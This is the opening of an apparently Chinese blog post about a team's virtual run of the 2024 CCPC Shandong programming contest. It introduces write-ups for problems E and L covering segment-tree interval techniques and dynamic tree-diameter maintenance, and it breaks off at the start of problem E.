    前言今天和队友VP了24CCPC山东省赛,最后9题,但是赛中7题左右我就隐身了,赛后看题解发现E题不难,赛时过的人太少导致有点畏手畏脚,看到题解一下就懂了,几分钟写好。这里主要补一下E和L的题解,这场比赛学到了维护区间信息,可以考虑把区间挂在线段树节点上,以及动态维护树直径的典。E传感器......